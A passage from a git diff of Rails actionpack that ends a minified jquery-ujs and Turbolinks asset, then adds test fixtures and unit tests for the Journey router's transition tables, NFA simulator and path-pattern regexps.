d={type:i||"GET",data:a,dataType:c,beforeSend:function(e,i){return i.dataType===t&&e.setRequestHeader("accept","*/*;q=0.5, "+i.accepts.script),n.fire(r,"ajax:beforeSend",[e,i])?void r.trigger("ajax:send",e):!1
+},success:function(e,t,n){r.trigger("ajax:success",[e,t,n])},complete:function(e,t){r.trigger("ajax:complete",[e,t])},error:function(e,t,n){r.trigger("ajax:error",[e,t,n])},crossDomain:l},u&&(d.xhrFields={withCredentials:u}),o&&(d.url=o),n.ajax(d)}return!1},handleMethod:function(r){var i=n.href(r),o=r.data("method"),a=r.attr("target"),s=e("meta[name=csrf-token]").attr("content"),l=e("meta[name=csrf-param]").attr("content"),u=e('<form method="post" action="'+i+'"></form>'),c='<input name="_method" value="'+o+'" type="hidden" />';l!==t&&s!==t&&(c+='<input name="'+l+'" value="'+s+'" type="hidden" />'),a&&u.attr("target",a),u.hide().append(c).appendTo("body"),u.submit()},formElements:function(t,n){return t.is("form")?e(t[0].elements).filter(n):t.find(n)},disableFormElements:function(t){n.formElements(t,n.disableSelector).each(function(){n.disableFormElement(e(this))})},disableFormElement:function(e){var n,r;n=e.is("button")?"html":"val",r=e.data("disable-with"),e.data("ujs:enable-with",e[n]()),r!==t&&e[n](r),e.prop("disabled",!0)},enableFormElements:function(t){n.formElements(t,n.enableSelector).each(function(){n.enableFormElement(e(this))})},enableFormElement:function(e){var t=e.is("button")?"html":"val";e.data("ujs:enable-with")&&e[t](e.data("ujs:enable-with")),e.prop("disabled",!1)},allowAction:function(e){var t,r=e.data("confirm"),i=!1;return r?(n.fire(e,"confirm")&&(i=n.confirm(r),t=n.fire(e,"confirm:complete",[i])),i&&t):!0},blankInputs:function(t,n,r){var i,o,a=e(),s=n||"input,textarea",l=t.find(s);return l.each(function(){if(i=e(this),o=i.is("input[type=checkbox],input[type=radio]")?i.is(":checked"):i.val(),!o==!r){if(i.is("input[type=radio]")&&l.filter('input[type=radio]:checked[name="'+i.attr("name")+'"]').length)return!0;a=a.add(i)}}),a.length?a:!1},nonBlankInputs:function(e,t){return n.blankInputs(e,t,!0)},stopEverything:function(t){return e(t.target).trigger("ujs:everythingStopped"),t.stopImmediatePropagation(),!1},disableElement:function(e){var r=e.data("disable-with");e.data("ujs:enable-with",e.html()),r!==t&&e.html(r),e.bind("click.railsDisable",function(e){return n.stopEverything(e)})},enableElement:function(e){e.data("ujs:enable-with")!==t&&(e.html(e.data("ujs:enable-with")),e.removeData("ujs:enable-with")),e.unbind("click.railsDisable")}},n.fire(r,"rails:attachBindings")&&(e.ajaxPrefilter(function(e,t,r){e.crossDomain||n.CSRFProtection(r)}),r.delegate(n.linkDisableSelector,"ajax:complete",function(){n.enableElement(e(this))}),r.delegate(n.buttonDisableSelector,"ajax:complete",function(){n.enableFormElement(e(this))}),r.delegate(n.linkClickSelector,"click.rails",function(r){var i=e(this),o=i.data("method"),a=i.data("params"),s=r.metaKey||r.ctrlKey;if(!n.allowAction(i))return n.stopEverything(r);if(!s&&i.is(n.linkDisableSelector)&&n.disableElement(i),i.data("remote")!==t){if(s&&(!o||"GET"===o)&&!a)return!0;var l=n.handleRemote(i);return l===!1?n.enableElement(i):l.error(function(){n.enableElement(i)}),!1}return i.data("method")?(n.handleMethod(i),!1):void 0}),r.delegate(n.buttonClickSelector,"click.rails",function(t){var r=e(this);if(!n.allowAction(r))return n.stopEverything(t);r.is(n.buttonDisableSelector)&&n.disableFormElement(r);var i=n.handleRemote(r);return i===!1?n.enableFormElement(r):i.error(function(){n.enableFormElement(r)}),!1}),r.delegate(n.inputChangeSelector,"change.rails",function(t){var r=e(this);return n.allowAction(r)?(n.handleRemote(r),!1):n.stopEverything(t)}),r.delegate(n.formSubmitSelector,"submit.rails",function(r){var i,o,a=e(this),s=a.data("remote")!==t;if(!n.allowAction(a))return n.stopEverything(r);if(a.attr("novalidate")==t&&(i=n.blankInputs(a,n.requiredInputSelector),i&&n.fire(a,"ajax:aborted:required",[i])))return n.stopEverything(r);if(s){if(o=n.nonBlankInputs(a,n.fileInputSelector)){setTimeout(function(){n.disableFormElements(a)},13);var l=n.fire(a,"ajax:aborted:file",[o]);return l||setTimeout(function(){n.enableFormElements(a)},13),l}return n.handleRemote(a),!1}setTimeout(function(){n.disableFormElements(a)},13)}),r.delegate(n.formInputClickSelector,"click.rails",function(t){var r=e(this);if(!n.allowAction(r))return n.stopEverything(t);var i=r.attr("name"),o=i?{name:i,value:r.val()}:null;r.closest("form").data("ujs:submit-button",o)}),r.delegate(n.formSubmitSelector,"ajax:send.rails",function(t){this==t.target&&n.disableFormElements(e(this))}),r.delegate(n.formSubmitSelector,"ajax:complete.rails",function(t){this==t.target&&n.enableFormElements(e(this))}),e(function(){n.refreshCSRFTokens()}))}(jQuery),function(){var e,t,n,r,i,o,a,s,l,u,c,d,f,p,h,m,g,v,y,b,x,w,T,E,k,C,N,S,j,A,D,L,H,_,q,F,M,O,R,B,P,I,W,$,z,X,U,V,G,Y=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1},J={}.hasOwnProperty,K=function(e,t){function n(){this.constructor=e}for(var r in t)J.call(t,r)&&(e[r]=t[r]);return n.prototype=t.prototype,e.prototype=new n,e.__super__=t.prototype,e},Q=[].slice;j={},d=10,$=!1,m=null,S=null,q=null,h=null,V=null,b=function(e){var t;return e=new n(e),B(),c(),F(e),$&&(t=z(e.absolute))?(x(t),w(e)):w(e,W)},z=function(e){var t;return t=j[e],t&&!t.transitionCacheDisabled?t:void 0},g=function(e){return null==e&&(e=!0),$=e},w=function(e,t){return null==t&&(t=function(){return function(){}}(this)),X("page:fetch",{url:e.absolute}),null!=V&&V.abort(),V=new XMLHttpRequest,V.open("GET",e.withoutHashForIE10compatibility(),!0),V.setRequestHeader("Accept","text/html, application/xhtml+xml, application/xml"),V.setRequestHeader("X-XHR-Referer",q),V.onload=function(){var n;return X("page:receive"),(n=H())?(f.apply(null,y(n)),M(),t(),X("page:load")):document.location.href=e.absolute},V.onloadend=function(){return V=null},V.onerror=function(){return document.location.href=e.absolute},V.send()},x=function(e){return null!=V&&V.abort(),f(e.title,e.body),_(e),X("page:restore")},c=function(){var e;return e=new n(m.url),j[e.absolute]={url:e.relative,body:document.body,title:document.title,positionY:window.pageYOffset,positionX:window.pageXOffset,cachedAt:(new Date).getTime(),transitionCacheDisabled:null!=document.querySelector("[data-no-transition-cache]")},p(d)},D=function(e){return null==e&&(e=d),/^[\d]+$/.test(e)?d=parseInt(e):void 0},p=function(e){var t,n,r,i,o,a;for(r=Object.keys(j),t=r.map(function(e){return j[e].cachedAt}).sort(function(e,t){return t-e}),a=[],i=0,o=r.length;o>i;i++)n=r[i],j[n].cachedAt<=t[e]&&(X("page:expire",j[n]),a.push(delete j[n]));return a},f=function(t,n,r,i){return document.title=t,document.documentElement.replaceChild(n,document.body),null!=r&&e.update(r),i&&v(),m=window.history.state,X("page:change"),X("page:update")},v=function(){var e,t,n,r,i,o,a,s,l,u,c,d;for(o=Array.prototype.slice.call(document.body.querySelectorAll('script:not([data-turbolinks-eval="false"])')),a=0,l=o.length;l>a;a++)if(i=o[a],""===(c=i.type)||"text/javascript"===c){for(t=document.createElement("script"),d=i.attributes,s=0,u=d.length;u>s;s++)e=d[s],t.setAttribute(e.name,e.value);t.appendChild(document.createTextNode(i.innerHTML)),r=i.parentNode,n=i.nextSibling,r.removeChild(i),r.insertBefore(t,n)}},P=function(e){return e.innerHTML=e.innerHTML.replace(/<noscript[\S\s]*?<\/noscript>/gi,""),e},F=function(e){return(e=new n(e)).absolute!==q?window.history.pushState({turbolinks:!0,url:e.absolute},"",e.absolute):void 0},M=function(){var e,t;return(e=V.getResponseHeader("X-XHR-Redirected-To"))?(e=new n(e),t=e.hasNoHash()?document.location.hash:"",window.history.replaceState(m,"",e.href+t)):void 0},B=function(){return q=document.location.href},R=function(){return window.history.replaceState({turbolinks:!0,url:document.location.href},"",document.location.href)},O=function(){return m=window.history.state},_=function(e){return window.scrollTo(e.positionX,e.positionY)},W=function(){return document.location.hash?document.location.href=document.location.href:window.scrollTo(0,0)},L=function(e){var t,n;return t=(null!=(n=document.cookie.match(new RegExp(e+"=(\\w+)")))?n[1].toUpperCase():void 0)||"",document.cookie=e+"=; expires=Thu, 01-Jan-70 00:00:01 GMT; path=/",t},X=function(e,t){var n;return n=document.createEvent("Events"),t&&(n.data=t),n.initEvent(e,!0,!0),document.dispatchEvent(n)},A=function(){return!X("page:before-change")},H=function(){var e,t,n,r,i,o;return t=function(){var e;return 400<=(e=V.status)&&600>e},o=function(){return V.getResponseHeader("Content-Type").match(/^(?:text\/html|application\/xhtml\+xml|application\/xml)(?:;|$)/)},r=function(e){var t,n,r,i,o;for(i=e.head.childNodes,o=[],n=0,r=i.length;r>n;n++)t=i[n],null!=("function"==typeof t.getAttribute?t.getAttribute("data-turbolinks-track"):void 0)&&o.push(t.getAttribute("src")||t.getAttribute("href"));return o},e=function(e){var t;return S||(S=r(document)),t=r(e),t.length!==S.length||i(t,S).length!==S.length},i=function(e,t){var n,r,i,o,a;for(e.length>t.length&&(o=[t,e],e=o[0],t=o[1]),a=[],r=0,i=e.length;i>r;r++)n=e[r],Y.call(t,n)>=0&&a.push(n);return a},!t()&&o()&&(n=h(V.responseText),n&&!e(n))?n:void 0},y=function(t){var n;return n=t.querySelector("title"),[null!=n?n.textContent:void 0,P(t.body),e.get(t).token,"runScripts"]},e={get:function(e){var t;return null==e&&(e=document),{node:t=e.querySelector('meta[name="csrf-token"]'),token:null!=t&&"function"==typeof t.getAttribute?t.getAttribute("content"):void 0}},update:function(e){var t;return t=this.get(),null!=t.token&&null!=e&&t.token!==e?t.node.setAttribute("content",e):void 0}},i=function(){var e,t,n,r,i,o;t=function(e){return(new DOMParser).parseFromString(e,"text/html")},e=function(e){var t;return t=document.implementation.createHTMLDocument(""),t.documentElement.innerHTML=e,t},n=function(e){var t;return t=document.implementation.createHTMLDocument(""),t.open("replace"),t.write(e),t.close(),t};try{if(window.DOMParser)return i=t("<html><body><p>test"),t}catch(a){return r=a,i=e("<html><body><p>test"),e}finally{if(1!==(null!=i&&null!=(o=i.body)?o.childNodes.length:void 0))return n}},n=function(){function e(t){return this.original=null!=t?t:document.location.href,this.original.constructor===e?this.original:void this._parse()}return e.prototype.withoutHash=function(){return this.href.replace(this.hash,"")},e.prototype.withoutHashForIE10compatibility=function(){return this.withoutHash()},e.prototype.hasNoHash=function(){return 0===this.hash.length},e.prototype._parse=function(){var e;return(null!=this.link?this.link:this.link=document.createElement("a")).href=this.original,e=this.link,this.href=e.href,this.protocol=e.protocol,this.host=e.host,this.hostname=e.hostname,this.port=e.port,this.pathname=e.pathname,this.search=e.search,this.hash=e.hash,this.origin=[this.protocol,"//",this.hostname].join(""),0!==this.port.length&&(this.origin+=":"+this.port),this.relative=[this.pathname,this.search,this.hash].join(""),this.absolute=this.href},e}(),r=function(e){function t(e){return this.link=e,this.link.constructor===t?this.link:(this.original=this.link.href,void t.__super__.constructor.apply(this,arguments))}return K(t,e),t.HTML_EXTENSIONS=["html"],t.allowExtensions=function(){var e,n,r,i;for(n=1<=arguments.length?Q.call(arguments,0):[],r=0,i=n.length;i>r;r++)e=n[r],t.HTML_EXTENSIONS.push(e);return t.HTML_EXTENSIONS},t.prototype.shouldIgnore=function(){return this._crossOrigin()||this._anchored()||this._nonHtml()||this._optOut()||this._target()},t.prototype._crossOrigin=function(){return this.origin!==(new n).origin},t.prototype._anchored=function(){var e;return(this.hash&&this.withoutHash())===(e=new n).withoutHash()||this.href===e.href+"#"},t.prototype._nonHtml=function(){return this.pathname.match(/\.[a-z]+$/g)&&!this.pathname.match(new RegExp("\\.(?:"+t.HTML_EXTENSIONS.join("|")+")?$","g"))},t.prototype._optOut=function(){var e,t;for(t=this.link;!e&&t!==document;)e=null!=t.getAttribute("data-no-turbolink"),t=t.parentNode;return e},t.prototype._target=function(){return 0!==this.link.target.length},t}(n),t=function(){function e(e){this.event=e,this.event.defaultPrevented||(this._extractLink(),this._validForTurbolinks()&&(A()||U(this.link.href),this.event.preventDefault()))}return e.installHandlerLast=function(t){return t.defaultPrevented?void 0:(document.removeEventListener("click",e.handle,!1),document.addEventListener("click",e.handle,!1))},e.handle=function(t){return new e(t)},e.prototype._extractLink=function(){var e;for(e=this.event.target;e.parentNode&&"A"!==e.nodeName;)e=e.parentNode;return"A"===e.nodeName&&0!==e.href.length?this.link=new r(e):void 0},e.prototype._validForTurbolinks=function(){return null!=this.link&&!(this.link.shouldIgnore()||this._nonStandardClick())},e.prototype._nonStandardClick=function(){return this.event.which>1||this.event.metaKey||this.event.ctrlKey||this.event.shiftKey||this.event.altKey},e}(),u=function(e){return setTimeout(e,500)},k=function(){return document.addEventListener("DOMContentLoaded",function(){return X("page:change"),X("page:update")},!0)},N=function(){return"undefined"!=typeof jQuery?jQuery(document).on("ajaxSuccess",function(e,t){return jQuery.trim(t.responseText)?X("page:update"):void 0}):void 0},C=function(e){var t,r;return(null!=(r=e.state)?r.turbolinks:void 0)?(t=j[new n(e.state.url).absolute])?(c(),x(t)):U(e.target.location.href):void 0},E=function(){return R(),O(),h=i(),document.addEventListener("click",t.installHandlerLast,!0),u(function(){return window.addEventListener("popstate",C,!1)})},T=void 0!==window.history.state||navigator.userAgent.match(/Firefox\/2[6|7]/),s=window.history&&window.history.pushState&&window.history.replaceState&&T,o=!navigator.userAgent.match(/CriOS\//),I="GET"===(G=L("request_method"))||""===G,l=s&&o&&I,a=document.addEventListener&&document.createEvent,a&&(k(),N()),l?(U=b,E()):U=function(e){return document.location.href=e},this.Turbolinks={visit:U,pagesCached:D,enableTransitionCache:g,allowLinkExtensions:r.allowExtensions,supported:l}}.call(this),function(){}.call(this); \ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/gzip/foo.zoo.gz b/actionpack/test/fixtures/公共/gzip/foo.zoo.gz
new file mode 100644
index 0000000000..f62c656dc8
--- /dev/null
+++ b/actionpack/test/fixtures/公共/gzip/foo.zoo.gz
Binary files differ
diff --git a/actionpack/test/fixtures/公共/index.html b/actionpack/test/fixtures/公共/index.html
new file mode 100644
index 0000000000..525950ba6b
--- /dev/null
+++ b/actionpack/test/fixtures/公共/index.html
@@ -0,0 +1 @@
+/index.html \ No newline at end of file
diff --git a/actionpack/test/journey/gtg/builder_test.rb b/actionpack/test/journey/gtg/builder_test.rb
new file mode 100644
index 0000000000..c1da374007
--- /dev/null
+++ b/actionpack/test/journey/gtg/builder_test.rb
@@ -0,0 +1,79 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ module GTG
+ class TestBuilder < ActiveSupport::TestCase
+ def test_following_states_multi
+ table = tt ['a|a']
+ assert_equal 1, table.move([0], 'a').length
+ end
+
+ def test_following_states_multi_regexp
+ table = tt [':a|b']
+ assert_equal 1, table.move([0], 'fooo').length
+ assert_equal 2, table.move([0], 'b').length
+ end
+
+ def test_multi_path
+ table = tt ['/:a/d', '/b/c']
+
+ [
+ [1, '/'],
+ [2, 'b'],
+ [2, '/'],
+ [1, 'c'],
+ ].inject([0]) { |state, (exp, sym)|
+ new = table.move(state, sym)
+ assert_equal exp, new.length
+ new
+ }
+ end
+
+ def test_match_data_ambiguous
+ table = tt %w{
+ /articles(.:format)
+ /articles/new(.:format)
+ /articles/:id/edit(.:format)
+ /articles/:id(.:format)
+ }
+
+ sim = NFA::Simulator.new table
+
+ match = sim.match '/articles/new'
+ assert_equal 2, match.memos.length
+ end
+
+ ##
+ # Identical Routes may have different restrictions.
+ def test_match_same_paths
+ table = tt %w{
+ /articles/new(.:format)
+ /articles/new(.:format)
+ }
+
+ sim = NFA::Simulator.new table
+
+ match = sim.match '/articles/new'
+ assert_equal 2, match.memos.length
+ end
+
+ private
+ def ast strings
+ parser = Journey::Parser.new
+ asts = strings.map { |string|
+ memo = Object.new
+ ast = parser.parse string
+ ast.each { |n| n.memo = memo }
+ ast
+ }
+ Nodes::Or.new asts
+ end
+
+ def tt strings
+ Builder.new(ast(strings)).transition_table
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/gtg/transition_table_test.rb b/actionpack/test/journey/gtg/transition_table_test.rb
new file mode 100644
index 0000000000..b968780d8d
--- /dev/null
+++ b/actionpack/test/journey/gtg/transition_table_test.rb
@@ -0,0 +1,115 @@
+require 'abstract_unit'
+require 'active_support/json/decoding'
+
+module ActionDispatch
+ module Journey
+ module GTG
+ class TestGeneralizedTable < ActiveSupport::TestCase
+ def test_to_json
+ table = tt %w{
+ /articles(.:format)
+ /articles/new(.:format)
+ /articles/:id/edit(.:format)
+ /articles/:id(.:format)
+ }
+
+ json = ActiveSupport::JSON.decode table.to_json
+ assert json['regexp_states']
+ assert json['string_states']
+ assert json['accepting']
+ end
+
+ if system("dot -V 2>/dev/null")
+ def test_to_svg
+ table = tt %w{
+ /articles(.:format)
+ /articles/new(.:format)
+ /articles/:id/edit(.:format)
+ /articles/:id(.:format)
+ }
+ svg = table.to_svg
+ assert svg
+ assert_no_match(/DOCTYPE/, svg)
+ end
+ end
+
+ def test_simulate_gt
+ sim = simulator_for ['/foo', '/bar']
+ assert_match sim, '/foo'
+ end
+
+ def test_simulate_gt_regexp
+ sim = simulator_for [':foo']
+ assert_match sim, 'foo'
+ end
+
+ def test_simulate_gt_regexp_mix
+ sim = simulator_for ['/get', '/:method/foo']
+ assert_match sim, '/get'
+ assert_match sim, '/get/foo'
+ end
+
+ def test_simulate_optional
+ sim = simulator_for ['/foo(/bar)']
+ assert_match sim, '/foo'
+ assert_match sim, '/foo/bar'
+ assert_no_match sim, '/foo/'
+ end
+
+ def test_match_data
+ path_asts = asts %w{ /get /:method/foo }
+ paths = path_asts.dup
+
+ builder = GTG::Builder.new Nodes::Or.new path_asts
+ tt = builder.transition_table
+
+ sim = GTG::Simulator.new tt
+
+ match = sim.match '/get'
+ assert_equal [paths.first], match.memos
+
+ match = sim.match '/get/foo'
+ assert_equal [paths.last], match.memos
+ end
+
+ def test_match_data_ambiguous
+ path_asts = asts %w{
+ /articles(.:format)
+ /articles/new(.:format)
+ /articles/:id/edit(.:format)
+ /articles/:id(.:format)
+ }
+
+ paths = path_asts.dup
+ ast = Nodes::Or.new path_asts
+
+ builder = GTG::Builder.new ast
+ sim = GTG::Simulator.new builder.transition_table
+
+ match = sim.match '/articles/new'
+ assert_equal [paths[1], paths[3]], match.memos
+ end
+
+ private
+ def asts paths
+ parser = Journey::Parser.new
+ paths.map { |x|
+ ast = parser.parse x
+ ast.each { |n| n.memo = ast}
+ ast
+ }
+ end
+
+ def tt paths
+ x = asts paths
+ builder = GTG::Builder.new Nodes::Or.new x
+ builder.transition_table
+ end
+
+ def simulator_for paths
+ GTG::Simulator.new tt(paths)
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/nfa/simulator_test.rb b/actionpack/test/journey/nfa/simulator_test.rb
new file mode 100644
index 0000000000..673a491fe5
--- /dev/null
+++ b/actionpack/test/journey/nfa/simulator_test.rb
@@ -0,0 +1,98 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ module NFA
+ class TestSimulator < ActiveSupport::TestCase
+ def test_simulate_simple
+ sim = simulator_for ['/foo']
+ assert_match sim, '/foo'
+ end
+
+ def test_simulate_simple_no_match
+ sim = simulator_for ['/foo']
+ assert_no_match sim, 'foo'
+ end
+
+ def test_simulate_simple_no_match_too_long
+ sim = simulator_for ['/foo']
+ assert_no_match sim, '/foo/bar'
+ end
+
+ def test_simulate_simple_no_match_wrong_string
+ sim = simulator_for ['/foo']
+ assert_no_match sim, '/bar'
+ end
+
+ def test_simulate_regex
+ sim = simulator_for ['/:foo/bar']
+ assert_match sim, '/bar/bar'
+ assert_match sim, '/foo/bar'
+ end
+
+ def test_simulate_or
+ sim = simulator_for ['/foo', '/bar']
+ assert_match sim, '/bar'
+ assert_match sim, '/foo'
+ assert_no_match sim, '/baz'
+ end
+
+ def test_simulate_optional
+ sim = simulator_for ['/foo(/bar)']
+ assert_match sim, '/foo'
+ assert_match sim, '/foo/bar'
+ assert_no_match sim, '/foo/'
+ end
+
+ def test_matchdata_has_memos
+ paths = %w{ /foo /bar }
+ parser = Journey::Parser.new
+ asts = paths.map { |x|
+ ast = parser.parse x
+ ast.each { |n| n.memo = ast}
+ ast
+ }
+
+ expected = asts.first
+
+ builder = Builder.new Nodes::Or.new asts
+
+ sim = Simulator.new builder.transition_table
+
+ md = sim.match '/foo'
+ assert_equal [expected], md.memos
+ end
+
+ def test_matchdata_memos_on_merge
+ parser = Journey::Parser.new
+ routes = [
+ '/articles(.:format)',
+ '/articles/new(.:format)',
+ '/articles/:id/edit(.:format)',
+ '/articles/:id(.:format)',
+ ].map { |path|
+ ast = parser.parse path
+ ast.each { |n| n.memo = ast }
+ ast
+ }
+
+ asts = routes.dup
+
+ ast = Nodes::Or.new routes
+
+ nfa = Journey::NFA::Builder.new ast
+ sim = Simulator.new nfa.transition_table
+ md = sim.match '/articles'
+ assert_equal [asts.first], md.memos
+ end
+
+ def simulator_for paths
+ parser = Journey::Parser.new
+ asts = paths.map { |x| parser.parse x }
+ builder = Builder.new Nodes::Or.new asts
+ Simulator.new builder.transition_table
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/nfa/transition_table_test.rb b/actionpack/test/journey/nfa/transition_table_test.rb
new file mode 100644
index 0000000000..1248082c03
--- /dev/null
+++ b/actionpack/test/journey/nfa/transition_table_test.rb
@@ -0,0 +1,72 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ module NFA
+ class TestTransitionTable < ActiveSupport::TestCase
+ def setup
+ @parser = Journey::Parser.new
+ end
+
+ def test_eclosure
+ table = tt '/'
+ assert_equal [0], table.eclosure(0)
+
+ table = tt ':a|:b'
+ assert_equal 3, table.eclosure(0).length
+
+ table = tt '(:a|:b)'
+ assert_equal 5, table.eclosure(0).length
+ assert_equal 5, table.eclosure([0]).length
+ end
+
+ def test_following_states_one
+ table = tt '/'
+
+ assert_equal [1], table.following_states(0, '/')
+ assert_equal [1], table.following_states([0], '/')
+ end
+
+ def test_following_states_group
+ table = tt 'a|b'
+ states = table.eclosure 0
+
+ assert_equal 1, table.following_states(states, 'a').length
+ assert_equal 1, table.following_states(states, 'b').length
+ end
+
+ def test_following_states_multi
+ table = tt 'a|a'
+ states = table.eclosure 0
+
+ assert_equal 2, table.following_states(states, 'a').length
+ assert_equal 0, table.following_states(states, 'b').length
+ end
+
+ def test_following_states_regexp
+ table = tt 'a|:a'
+ states = table.eclosure 0
+
+ assert_equal 1, table.following_states(states, 'a').length
+ assert_equal 1, table.following_states(states, /[^\.\/\?]+/).length
+ assert_equal 0, table.following_states(states, 'b').length
+ end
+
+ def test_alphabet
+ table = tt 'a|:a'
+ assert_equal [/[^\.\/\?]+/, 'a'], table.alphabet
+
+ table = tt 'a|a'
+ assert_equal ['a'], table.alphabet
+ end
+
+ private
+ def tt string
+ ast = @parser.parse string
+ builder = Builder.new ast
+ builder.transition_table
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/nodes/symbol_test.rb b/actionpack/test/journey/nodes/symbol_test.rb
new file mode 100644
index 0000000000..d411a5018a
--- /dev/null
+++ b/actionpack/test/journey/nodes/symbol_test.rb
@@ -0,0 +1,17 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ module Nodes
+ class TestSymbol < ActiveSupport::TestCase
+ def test_default_regexp?
+ sym = Symbol.new nil
+ assert sym.default_regexp?
+
+ sym.regexp = nil
+ assert_not sym.default_regexp?
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/path/pattern_test.rb b/actionpack/test/journey/path/pattern_test.rb
new file mode 100644
index 0000000000..6939b426f6
--- /dev/null
+++ b/actionpack/test/journey/path/pattern_test.rb
@@ -0,0 +1,286 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ module Path
+ class TestPattern < ActiveSupport::TestCase
+ x = /.+/
+ {
+ '/:controller(/:action)' => %r{\A/(#{x})(?:/([^/.?]+))?\Z},
+ '/:controller/foo' => %r{\A/(#{x})/foo\Z},
+ '/:controller/:action' => %r{\A/(#{x})/([^/.?]+)\Z},
+ '/:controller' => %r{\A/(#{x})\Z},
+ '/:controller(/:action(/:id))' => %r{\A/(#{x})(?:/([^/.?]+)(?:/([^/.?]+))?)?\Z},
+ '/:controller/:action.xml' => %r{\A/(#{x})/([^/.?]+)\.xml\Z},
+ '/:controller.:format' => %r{\A/(#{x})\.([^/.?]+)\Z},
+ '/:controller(.:format)' => %r{\A/(#{x})(?:\.([^/.?]+))?\Z},
+ '/:controller/*foo' => %r{\A/(#{x})/(.+)\Z},
+ '/:controller/*foo/bar' => %r{\A/(#{x})/(.+)/bar\Z},
+ '/:foo|*bar' => %r{\A/(?:([^/.?]+)|(.+))\Z},
+ }.each do |path, expected|
+ define_method(:"test_to_regexp_#{path}") do
+ strexp = Router::Strexp.build(
+ path,
+ { :controller => /.+/ },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ assert_equal(expected, path.to_regexp)
+ end
+ end
+
+ {
+ '/:controller(/:action)' => %r{\A/(#{x})(?:/([^/.?]+))?},
+ '/:controller/foo' => %r{\A/(#{x})/foo},
+ '/:controller/:action' => %r{\A/(#{x})/([^/.?]+)},
+ '/:controller' => %r{\A/(#{x})},
+ '/:controller(/:action(/:id))' => %r{\A/(#{x})(?:/([^/.?]+)(?:/([^/.?]+))?)?},
+ '/:controller/:action.xml' => %r{\A/(#{x})/([^/.?]+)\.xml},
+ '/:controller.:format' => %r{\A/(#{x})\.([^/.?]+)},
+ '/:controller(.:format)' => %r{\A/(#{x})(?:\.([^/.?]+))?},
+ '/:controller/*foo' => %r{\A/(#{x})/(.+)},
+ '/:controller/*foo/bar' => %r{\A/(#{x})/(.+)/bar},
+ '/:foo|*bar' => %r{\A/(?:([^/.?]+)|(.+))},
+ }.each do |path, expected|
+ define_method(:"test_to_non_anchored_regexp_#{path}") do
+ strexp = Router::Strexp.build(
+ path,
+ { :controller => /.+/ },
+ ["/", ".", "?"],
+ false
+ )
+ path = Pattern.new strexp
+ assert_equal(expected, path.to_regexp)
+ end
+ end
+
+ {
+ '/:controller(/:action)' => %w{ controller action },
+ '/:controller/foo' => %w{ controller },
+ '/:controller/:action' => %w{ controller action },
+ '/:controller' => %w{ controller },
+ '/:controller(/:action(/:id))' => %w{ controller action id },
+ '/:controller/:action.xml' => %w{ controller action },
+ '/:controller.:format' => %w{ controller format },
+ '/:controller(.:format)' => %w{ controller format },
+ '/:controller/*foo' => %w{ controller foo },
+ '/:controller/*foo/bar' => %w{ controller foo },
+ }.each do |path, expected|
+ define_method(:"test_names_#{path}") do
+ strexp = Router::Strexp.build(
+ path,
+ { :controller => /.+/ },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ assert_equal(expected, path.names)
+ end
+ end
+
+ def test_to_regexp_with_extended_group
+ strexp = Router::Strexp.build(
+ '/page/:name',
+ { :name => /
+ #ROFL
+ (tender|love
+ #MAO
+ )/x },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ assert_match(path, '/page/tender')
+ assert_match(path, '/page/love')
+ assert_no_match(path, '/page/loving')
+ end
+
+ def test_optional_names
+ [
+ ['/:foo(/:bar(/:baz))', %w{ bar baz }],
+ ['/:foo(/:bar)', %w{ bar }],
+ ['/:foo(/:bar)/:lol(/:baz)', %w{ bar baz }],
+ ].each do |pattern, list|
+ path = Pattern.from_string pattern
+ assert_equal list.sort, path.optional_names.sort
+ end
+ end
+
+ def test_to_regexp_match_non_optional
+ strexp = Router::Strexp.build(
+ '/:name',
+ { :name => /\d+/ },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ assert_match(path, '/123')
+ assert_no_match(path, '/')
+ end
+
+ def test_to_regexp_with_group
+ strexp = Router::Strexp.build(
+ '/page/:name',
+ { :name => /(tender|love)/ },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ assert_match(path, '/page/tender')
+ assert_match(path, '/page/love')
+ assert_no_match(path, '/page/loving')
+ end
+
+ def test_ast_sets_regular_expressions
+ requirements = { :name => /(tender|love)/, :value => /./ }
+ strexp = Router::Strexp.build(
+ '/page/:name/:value',
+ requirements,
+ ["/", ".", "?"]
+ )
+
+ assert_equal requirements, strexp.requirements
+
+ path = Pattern.new strexp
+ nodes = path.ast.grep(Nodes::Symbol)
+ assert_equal 2, nodes.length
+ nodes.each do |node|
+ assert_equal requirements[node.to_sym], node.regexp
+ end
+ end
+
+ def test_match_data_with_group
+ strexp = Router::Strexp.build(
+ '/page/:name',
+ { :name => /(tender|love)/ },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ match = path.match '/page/tender'
+ assert_equal 'tender', match[1]
+ assert_equal 2, match.length
+ end
+
+ def test_match_data_with_multi_group
+ strexp = Router::Strexp.build(
+ '/page/:name/:id',
+ { :name => /t(((ender|love)))()/ },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ match = path.match '/page/tender/10'
+ assert_equal 'tender', match[1]
+ assert_equal '10', match[2]
+ assert_equal 3, match.length
+ assert_equal %w{ tender 10 }, match.captures
+ end
+
+ def test_star_with_custom_re
+ z = /\d+/
+ strexp = Router::Strexp.build(
+ '/page/*foo',
+ { :foo => z },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ assert_equal(%r{\A/page/(#{z})\Z}, path.to_regexp)
+ end
+
+ def test_insensitive_regexp_with_group
+ strexp = Router::Strexp.build(
+ '/page/:name/aaron',
+ { :name => /(tender|love)/i },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
